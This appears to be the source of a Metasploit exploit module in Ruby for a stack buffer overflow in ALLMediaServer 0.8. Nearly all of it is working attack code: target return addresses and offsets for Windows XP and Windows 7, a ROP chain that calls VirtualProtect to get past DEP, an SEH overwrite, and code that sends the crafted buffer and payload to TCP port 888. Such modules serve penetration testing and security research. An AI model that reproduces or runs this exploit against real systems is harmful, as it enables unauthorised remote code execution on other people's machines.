133 lines
3.9 KiB
Ruby
133 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ALLMediaServer 0.8 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability
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is caused due to a boundary error within the handling of HTTP request.
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While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't
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reliable across virtual (VMWare, VirtualBox) and physical environments. Because of
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this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default
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DEP is OptIn and AllMediaServer won't run with DEP.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'motaz reda <motazkhodair[at]gmail.com>', # Original discovery
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'modpr0be <tom[at]spentera.com>', # Metasploit module
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'juan vazquez' # More improvement
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],
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'References' =>
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[
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[ 'OSVDB', '83889' ],
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[ 'EDB', '19625' ]
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],
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'DefaultOptions' =>
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{
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'ExitFunction' => 'process', #none/process/thread/seh
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "",
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'Space' => 660,
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'ALLMediaServer 0.8 / Windows XP SP3 - English',
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{
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'Ret' => 0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
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'OffsetRop' => 696,
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'jmp' => 264,
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'Offset' => 1072
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}
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],
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[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
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{
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'Ret' => 0x6ac5cc92, # ppr from avformat-53.dll
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'Offset' => 1072
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jul 04 2012',
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'DefaultTarget' => 1))
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register_options([Opt::RPORT(888)], self.class)
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end
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def junk(n=1)
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return [rand_text_alpha(4).unpack("L")[0]] * n
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end
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def nops(rop=false, n=1)
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return rop ? [0x665a0aa1] * n : [0x90909090] * n
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end
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def asm(code)
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Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string
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end
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def exploit
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#with help from mona :)
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rop = [
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nops(true, 12), #ROP NOP
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0x65f6faa7, # POP EAX # RETN
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0x671ee4e0, # ptr to &VirtualProtect()
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0x6ac1ccb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN
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0x667ceedf, # PUSH EAX # POP ESI # POP EDI # RETN
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junk,
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0x65f5f09d, # POP EBP # RETN
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0x65f9830d, # & call esp
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0x6ac1c1d5, # POP EBX # RETN
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0x00000600, # 0x00000320-> ebx
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0x6672a1e2, # POP EDX # RETN
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0x00000040, # 0x00000040-> edx
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0x665a09df, # POP ECX # RETN
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0x6ad58a3d, # &Writable location
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0x6ac7a771, # POP EDI # RETN
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nops(true), # RETN (ROP NOP)
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0x6682f9f4, # POP EAX # RETN
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nops, # nop
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0x663dcbd2 # PUSHAD # RETN
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].flatten.pack("V*")
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connect
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if target.name =~ /Windows 7/
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buffer = rand_text(target['Offset'])
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buffer << generate_seh_record(target.ret)
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buffer << payload.encoded
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else
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buffer = rand_text(target['OffsetRop']) #junk
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buffer << rop
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buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
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buffer << rand_text(target['Offset'] - buffer.length)
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buffer << generate_seh_record(target.ret)
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buffer << payload.encoded
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end
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print_status("Sending payload to ALLMediaServer on #{target.name}...")
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sock.put(buffer)
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disconnect
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end
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end
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